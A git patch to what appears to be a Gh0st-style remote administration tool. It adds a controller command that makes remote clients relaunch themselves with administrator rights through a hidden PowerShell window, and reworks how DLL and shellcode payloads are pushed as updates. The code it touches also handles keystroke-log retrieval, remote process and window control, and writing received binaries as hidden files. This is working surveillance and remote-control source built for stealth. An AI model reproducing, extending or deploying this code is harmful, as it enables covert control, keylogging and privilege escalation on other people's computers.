From d2b7c32206dc8943d8f7a60f79914588b5e3e4d4 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Wed, 30 Jul 2025 13:44:11 +0800 Subject: [PATCH] Feature: Add run client program as admin feature --- client/ClientDll.cpp | 2 +- client/KernelManager.cpp | 220 ++++++++++++++++-- server/2015Remote/2015Remote.rc | Bin 91256 -> 91558 bytes server/2015Remote/2015RemoteDlg.cpp | 78 +++---- server/2015Remote/2015RemoteDlg.h | 3 +- server/2015Remote/2015Remote_vs2015.vcxproj | 1 + .../2015Remote_vs2015.vcxproj.filters | 1 + server/2015Remote/res/Bitmap/AdminRun.bmp | Bin 0 -> 822 bytes server/2015Remote/resource.h | Bin 45820 -> 46098 bytes 9 files changed, 236 insertions(+), 69 deletions(-) create mode 100644 server/2015Remote/res/Bitmap/AdminRun.bmp diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 76a9dc6..d5aa1be 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -14,7 +14,7 @@ // Զ̵ַ CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, - FALSE, Startup_DLL, PROTOCOL_SHINE, PROTO_RANDOM, RUNNING_RANDOM, {}, + FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, {}, 0, 7057226198541618915, {}, }; diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index d45ec75..81bd205 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -1,4 +1,4 @@ -// KernelManager.cpp: implementation of the CKernelManager class. +// KernelManager.cpp: implementation of the CKernelManager class. // ////////////////////////////////////////////////////////////////////// @@ -16,7 +16,7 @@ #include "IOCPUDPClient.h" #include "IOCPKCPClient.h" -// UDP ЭСݣûʱ +// UDP 协议仅能针对小包数据,且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) { if (conn->protoType == PROTO_HTTPS) return NULL; @@ -79,7 +79,7 @@ CKernelManager::~CKernelManager() Mprintf("~CKernelManager end\n"); } -// ȡõ߳± +// 获取可用的线程下标 UINT CKernelManager::GetAvailableIndex() { if (m_ulThreadCount < MAX_THREADNUM) { return m_ulThreadCount; @@ -106,7 +106,7 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser if (std::string("ServerDll.new")!=name) return TRUE; DeleteFileA(path); } - // ļԶģʽд + // 打开文件,以二进制模式写入 std::string filePath = path; std::ofstream outFile(filePath, std::ios::binary); @@ -116,7 +116,7 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser return FALSE; } - // д + // 写入二进制数据 outFile.write(data, size); if (outFile.good()) @@ -130,9 +130,9 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser return FALSE; } - // رļ + // 关闭文件 outFile.close(); - // ļΪ + // 设置文件属性为隐藏 if (SetFileAttributesA(filePath.c_str(), FILE_ATTRIBUTE_HIDDEN)) { Mprintf("File created and set to hidden: %s\n", filePath.c_str()); @@ -224,6 +224,149 @@ DWORD WINAPI SendKeyboardRecord(LPVOID lParam) { return 0xDead0001; } +// 判断 PowerShell 版本是否 >= 3.0 +bool IsPowerShellAvailable() { + // 设置启动信息 + STARTUPINFO si = { sizeof(si) }; + PROCESS_INFORMATION pi; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; // 隐藏窗口 + + // 创建匿名管道以捕获 PowerShell 输出 + SECURITY_ATTRIBUTES sa = { sizeof(sa) }; + sa.bInheritHandle = TRUE; // 管道句柄可继承 + + HANDLE hReadPipe, hWritePipe; + if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) { + Mprintf("CreatePipe failed. Error: %d\n", GetLastError()); + return false; + } + + // 设置标准输出和错误输出到管道 + si.hStdOutput = hWritePipe; + si.hStdError = hWritePipe; + si.dwFlags |= STARTF_USESTDHANDLES; + + // 构造 PowerShell 命令 + std::string command = "powershell -Command \"$PSVersionTable.PSVersion.Major\""; + // 创建 PowerShell 进程 + if (!CreateProcess( + nullptr, // 不指定模块名(使用命令行) + (LPSTR)command.c_str(), // 命令行参数 + nullptr, // 进程句柄不可继承 + nullptr, // 线程句柄不可继承 + TRUE, // 继承句柄 + CREATE_NO_WINDOW, // 不显示窗口 + nullptr, // 使用父进程环境块 + nullptr, // 使用父进程工作目录 + &si, // 启动信息 + &pi // 进程信息 + )) { + Mprintf("CreateProcess failed. Error: %d\n", GetLastError()); + CloseHandle(hReadPipe); + CloseHandle(hWritePipe); + return false; + } + + // 关闭管道的写端 + CloseHandle(hWritePipe); + + // 读取 PowerShell 输出 + std::string result; + char buffer[128]; + DWORD bytesRead; + while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) { + buffer[bytesRead] = '\0'; + result += buffer; + } + + // 关闭管道的读端 + CloseHandle(hReadPipe); + + // 等待进程结束 + WaitForSingleObject(pi.hProcess, INFINITE); + + // 获取退出代码 + DWORD exitCode=0; + if (!GetExitCodeProcess(pi.hProcess, &exitCode)) { + Mprintf("GetExitCodeProcess failed. Error: %d\n", GetLastError()); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return false; + } + + // 关闭进程和线程句柄 + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + + // 解析返回的版本号 + if (exitCode == 0) { + try { + int version = std::stoi(result); + Mprintf("PowerShell version: %d\n", version); + return version >= 3; + } + catch (...) { + Mprintf("Failed to parse PowerShell version.\n"); + return false; + } + } + else { + Mprintf("PowerShell command failed with exit code: %d\n", exitCode); + return false; + } +} + +/* +Windows 10/11: 👉 放心使用,可以直接运行 +Windows 7: 如果 PowerShell 版本 >= 3.0,可以运行; 否则无法以管理员权限重启 +*/ +bool StartAdminLauncherAndExit(const char* exePath, bool admin = true) { + // 获取当前进程 ID + DWORD currentPID = GetCurrentProcessId(); + + // 构造 PowerShell 命令,等待当前进程退出后以管理员权限启动 + std::string launcherCmd = "powershell -Command \"Start-Sleep -Seconds 1; " // 等待 1 秒,确保当前进程退出 + "while (Get-Process -Id " + std::to_string(currentPID) + " -ErrorAction SilentlyContinue) { Start-Sleep -Milliseconds 500 }; " + "Start-Process -FilePath '" + std::string(exePath); + launcherCmd += admin ? "' -Verb RunAs\"" : "' \""; // 以管理员权限启动目标进程 + + // 启动隐藏的 cmd 进程 + STARTUPINFO si = { sizeof(si) }; + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = SW_HIDE; // 隐藏窗口 + PROCESS_INFORMATION pi = {}; + Mprintf("Run: %s\n", launcherCmd.c_str()); + if (CreateProcessA(NULL, (LPSTR)launcherCmd.c_str(), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + Mprintf("CreateProcess to start launcher process [%d].\n", pi.dwProcessId); + CloseHandle(pi.hProcess); + CloseHandle(pi.hThread); + return true; + } + + Mprintf("Failed to start launcher process.\n"); + return false; +} + +BOOL IsRunningAsAdmin() +{ + BOOL isAdmin = FALSE; + PSID administratorsGroup = NULL; + + SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; + if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, &administratorsGroup)) + { + if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) + { + isAdmin = FALSE; + } + FreeSid(administratorsGroup); + } + + return isAdmin; +} + VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; @@ -237,11 +380,29 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) switch (szBuffer[0]) { + case CMD_RUNASADMIN: { + char curFile[_MAX_PATH] = {}; + GetModuleFileName(NULL, curFile, MAX_PATH); + if (!IsRunningAsAdmin()) + { + if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile)) { + g_bExit = S_CLIENT_EXIT; + // 强制退出当前进程,并稍后以管理员权限运行 + Mprintf("CKernelManager: [%s] Restart with administrator privileges.\n", curFile); + Sleep(1000); + TerminateProcess(GetCurrentProcess(), 0xABCDEF); + } + Mprintf("CKernelManager: [%s] Restart with administrator privileges FAILED.\n", curFile); + break; + } + Mprintf("CKernelManager: [%s] Running with administrator privileges.\n", curFile); + break; + } case CMD_AUTHORIZATION: { HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); #ifndef _DEBUG - if (hMutex == NULL) { // ûлδ + if (hMutex == NULL) { // 没有互斥量,主程序可能未运行 Mprintf("!!! [WARN] Master program is not running.\n"); } #endif @@ -253,10 +414,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str(); if (passCode[0] == 0) { std::string devId = getDeviceID(); - memcpy(buf + 24, buf + 12, 8); // Ϣǩ - memcpy(buf + 96, buf + 8, 4); // ʱ - memcpy(buf + 5, devId.c_str(), devId.length()); // 16ֽ - memcpy(buf + 32, pwdHash, 64); // 64ֽ + memcpy(buf + 24, buf + 12, 8); // 消息签名 + memcpy(buf + 96, buf + 8, 4); // 时间戳 + memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节 + memcpy(buf + 32, pwdHash, 64); // 64字节 m_ClientObject->Send2Server((char*)buf, sizeof(buf)); Mprintf("Request for authorization update.\n"); } else { @@ -283,7 +444,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) iniFile cfg(CLIENT_PATH); auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); if (md5.empty() || md5 != info->Md5 || !m_conn->IsVerified()) { - // һûаDLLݣͻ˼ⱾǷѾDLLûִд + // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 m_ClientObject->Send2Server((char*)szBuffer, ulLength); break; } @@ -370,7 +531,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings)); } break; - case COMMAND_KEYBOARD: //̼¼ + case COMMAND_KEYBOARD: //键盘记录 { if (m_hKeyboard) { CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); @@ -396,14 +557,14 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } - case COMMAND_SYSTEM: //Զ̹̽ + case COMMAND_SYSTEM: //远程进程管理 { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } - case COMMAND_WSLIST: //Զ̴ڹ + case COMMAND_WSLIST: //远程窗口管理 { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; @@ -412,7 +573,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case COMMAND_BYE: { - BYTE bToken = COMMAND_BYE;// ض˳ + BYTE bToken = COMMAND_BYE;// 被控端退出 m_ClientObject->Send2Server((char*)&bToken, 1); g_bExit = S_CLIENT_EXIT; Mprintf("======> Client exit \n"); @@ -421,7 +582,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) case SERVER_EXIT: { - // ض˳ + // 主控端退出 g_bExit = S_SERVER_EXIT; Mprintf("======> Server exit \n"); break; @@ -476,15 +637,30 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } - case COMMAND_UPDATE: - { - ULONGLONG size=0; + case COMMAND_UPDATE:{ + auto typ = m_conn->ClientType(); + if (typ == CLIENT_TYPE_DLL || typ == CLIENT_TYPE_MODULE) { + ULONGLONG size = 0; memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { g_bExit = S_CLIENT_UPDATE; } - break; + }else if (typ == CLIENT_TYPE_SHELLCODE || typ == CLIENT_TYPE_MEMDLL) { + char curFile[_MAX_PATH] = {}; + GetModuleFileName(NULL, curFile, MAX_PATH); + if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile, false)) { + g_bExit = S_CLIENT_UPDATE; + // 强制退出当前进程,并重新启动;这会触发重新获取 Shell code 从而做到软件升级 + Mprintf("CKernelManager: [%s] Will be updated.\n", curFile); + Sleep(1000); + TerminateProcess(GetCurrentProcess(), 0xABCDEF); + } + Mprintf("CKernelManager: [%s] Update FAILED.\n", curFile); + } else { + Mprintf("=====> 客户端类型'%d'不支持文件升级\n", typ); } + break; + } default: { diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 3282a67f4326c17f3d70cbb8d0caa1c961efb8a3..995d327686a4dd4d1353992fac746247e28749fc 100644 GIT binary patch delta 111 zcmexyf_2$x)`l&Nix}B2Bs-^H==YhN_}g^)23AH9;UI=k20w;)21kZqFzLeJJKa!% zQFr?yM#eI;=^G3f#ima%XJp~_W$*+l1S_A;XwDePo5GOGkjan-6e?xNoBmOoQFyzA I1!IB^0FP51tN;K2 delta 27 jcmZ2>n)SyC)`l&Nix{^XF)@~zO_q4FVf!~r#tqs4sOJl< diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a7cf460..b863ed3 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -311,6 +311,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH); m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO); m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH); + m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -430,6 +431,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_NOTIFY(NM_CUSTOMDRAW, IDC_MESSAGE, &CMy2015RemoteDlg::OnNMCustomdrawMessage) ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch) ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline) + ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin) END_MESSAGE_MAP() @@ -1298,6 +1300,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]); Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]); Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]); + Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]); std::string masterHash(GetMasterHash()); if (GetPwdHash() != masterHash || m_superPass.empty()) { @@ -1353,59 +1356,22 @@ void CMy2015RemoteDlg::OnOnlineMessage() SendSelectedCommand(&bToken, sizeof(BYTE)); } -char* ReadFileToMemory(const CString& filePath, ULONGLONG &fileSize) { - fileSize = 0; - try { - // 打开文件(只读模式) - CFile file(filePath, CFile::modeRead | CFile::typeBinary); - - // 获取文件大小 - fileSize = file.GetLength(); - - // 分配内存缓冲区: 头+文件大小+文件内容 - char* buffer = new char[1 + sizeof(ULONGLONG) + static_cast(fileSize) + 1]; - if (!buffer) { - return NULL; - } - memcpy(buffer+1, &fileSize, sizeof(ULONGLONG)); - // 读取文件内容到缓冲区 - file.Read(buffer + 1 + sizeof(ULONGLONG), static_cast(fileSize)); - buffer[1 + sizeof(ULONGLONG) + fileSize] = '\0'; // 添加字符串结束符 - - // 释放内存 - return buffer; - } - catch (CFileException* e) { - // 捕获文件异常 - TCHAR errorMessage[256]; - e->GetErrorMessage(errorMessage, 256); - e->Delete(); - return NULL; - } - -} - void CMy2015RemoteDlg::OnOnlineUpdate() { if (IDYES != MessageBox(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"), _T("提示"), MB_ICONQUESTION | MB_YESNO)) return; - char path[_MAX_PATH], * p = path; - GetModuleFileNameA(NULL, path, sizeof(path)); - while (*p) ++p; - while ('\\' != *p) --p; - strcpy(p + 1, "ServerDll.dll"); - ULONGLONG fileSize = 0; - char *buffer = ReadFileToMemory(path, fileSize); + Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64]; + ULONGLONG fileSize = buf->length(true) - 6; + PBYTE buffer = new BYTE[fileSize + 9]; if (buffer) { buffer[0] = COMMAND_UPDATE; - SendSelectedCommand((PBYTE)buffer, 1 + sizeof(ULONGLONG) + fileSize + 1); + memcpy(buffer + 1, &fileSize, 8); + memcpy(buffer + 9, buf->c_str() + 6, fileSize); + SendSelectedCommand((PBYTE)buffer, 9 + fileSize); delete[] buffer; } - else { - MessageBox("读取文件失败: "+ CString(path), "提示"); - } } void CMy2015RemoteDlg::OnOnlineDelete() @@ -1614,8 +1580,13 @@ VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength) context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); if (!ContextObject->IsLogin() && szBuffer[0] != COMMAND_BYE) continue; - - // 发送获得驱动器列表数据包 + if (szBuffer[0] == COMMAND_UPDATE) { + CString data = ContextObject->GetClientData(ONLINELIST_CLIENTTYPE); + if (data == "SC" || data == "MDLL") { + ContextObject->Send2Client(szBuffer, 1); + continue; + } + } ContextObject->Send2Client(szBuffer, ulLength); } LeaveCriticalSection(&m_cs); @@ -3112,3 +3083,20 @@ void CMy2015RemoteDlg::OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult) } } } + + +void CMy2015RemoteDlg::OnOnlineRunAsAdmin() +{ + if (MessageBoxA("确定要以管理员权限重新启动目标应用程序吗?\n此操作可能触发 UAC 账户控制。", + "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + while (Pos) { + int iItem = m_CList_Online.GetNextSelectedItem(Pos); + context* ContextObject = (context*)m_CList_Online.GetItemData(iItem); + BYTE token = CMD_RUNASADMIN; + ContextObject->Send2Client(&token, sizeof(token)); + } + LeaveCriticalSection(&m_cs); + } +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index ce4e1c4..32c7bd6 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -204,7 +204,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[14]; + CBitmap m_bmOnline[15]; uint64_t m_superID; bool CheckValid(int trail = 14); afx_msg void OnTimer(UINT_PTR nIDEvent); @@ -280,4 +280,5 @@ public: afx_msg void OnNMCustomdrawMessage(NMHDR* pNMHDR, LRESULT* pResult); afx_msg void OnOnlineAddWatch(); afx_msg void OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult); + afx_msg void OnOnlineRunAsAdmin(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 5f5e35d..2a59802 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -390,6 +390,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 7ff3b73..2314989 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -155,6 +155,7 @@ + diff --git a/server/2015Remote/res/Bitmap/AdminRun.bmp b/server/2015Remote/res/Bitmap/AdminRun.bmp new file mode 100644 index 0000000000000000000000000000000000000000..d664f261ac9995a39664b6d5769f677550d6894a GIT binary patch literal 822 zcmZ?rHDhJ~12Z700mK4O%*Y@C7H5FULpTuf|Bny25VA64#hBtik^1_2uEq-fBRh~0 zP#kD@OH0dNYyha9;s1X)0&1kLdZ2+oE07U>^Z)<<4{{O%14Ii%F&_8B)gu_-z{KTW zpfZR`h%NA7$E6-Q%z(j5l6tt~@wgw^d^Gjf@)+_csEVoHw@`r8_ZlGeI7LfMf$*&s~L2}H7491%$Z_sC)?6OvD Va@|Ie$!|8AOn$@yVS8=b1ON|)FCYK_ delta 47 zcmV+~0MP%E=mPxZ0